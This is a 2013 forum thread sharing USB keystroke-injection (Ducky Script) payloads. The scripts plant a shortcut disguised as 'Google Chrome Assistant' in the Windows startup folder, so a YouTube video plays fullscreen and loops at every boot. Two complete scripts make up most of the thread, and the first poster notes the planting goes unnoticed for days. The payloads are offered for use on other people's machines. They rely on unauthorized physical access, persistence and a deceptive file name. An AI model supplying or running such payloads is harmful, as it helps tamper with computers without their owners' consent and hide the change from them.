[payloads] Youtube video plays fullscreen at startup

[Morrolan]

Hey all,

My first payload is done, and whilst simple, it is good as it will only really be noticed many hours or days after injection.

It creates a shortcut in the Windows 7 startup folder called "Google Chrome Assistant".

When the PC boots, it opens the youtube video in the shortcut fullscreen, looping. At the moment it is Nyancat, but if you are using your own video, remember to change 'watch' in the url to 'watch_popup' and add '&loop=1' to the end of the URL for infinity goodness.

REM Title: Youtube Startup Folder Roller
DELAY 1000
GUI r
DELAY 50
STRING "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
ENTER
DELAY 100
SHIFT F10
DELAY 100
STRING w
DELAY 100
STRING w
ENTER
DELAY 100
STRING S
ENTER
DELAY 100
STRING http://www.youtube.com/watch_popup?v=QH2-TGUlwu4&loop=1
ENTER
DELAY 100
STRING Google Chrome Assistant
ENTER
DELAY 100
ALT f
DELAY 100
STRING c

Enjoy!

Morrolan

Edited September 18, 2013 by Morrolan

[Noxrill]

Sick lots of fun

[Darren Kitchen]

I love this payload SO much! Great that it doesn't require any special privs.

Here's my take using cmd instead of explorer so less delays are necessary. It's probably about the same speed but may be more reliable.

REM Title: Youtube Startup Folder Roller
REM Props: Morrolan
DELAY 1000
GUI r
DELAY 100
STRING cmd
ENTER
DELAY 200
STRING cd "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
ENTER
STRING copy con "Google Chrome Assistant.url"
ENTER
STRING .url
ENTER
STRING [{000214A0-0000-0000-C000-000000000046}]
ENTER
STRING Prop3=19,2
ENTER
STRING [InternetShortcut]
ENTER
STRING URL=http://www.youtube.com/watch_popup?v=QH2-TGUlwu4&loop=1
ENTER
STRING IDList=
ENTER
CTRL z
ENTER
STRING exit
ENTER

Wicked fun :)

[Morrolan]

Hi Darren,

That's awesome, but would you mind going into some detail about what some of your script-fu is doing, or are you simply replicating the textual content of the shortcut?

Cheers,

Morrolan

Edited September 26, 2013 by Morrolan

[Xcellerator]

It's as you said, replicating the content of the shortcut file. I imagine it would shave off a second or two doing it that way, rather than going through the windows GUI.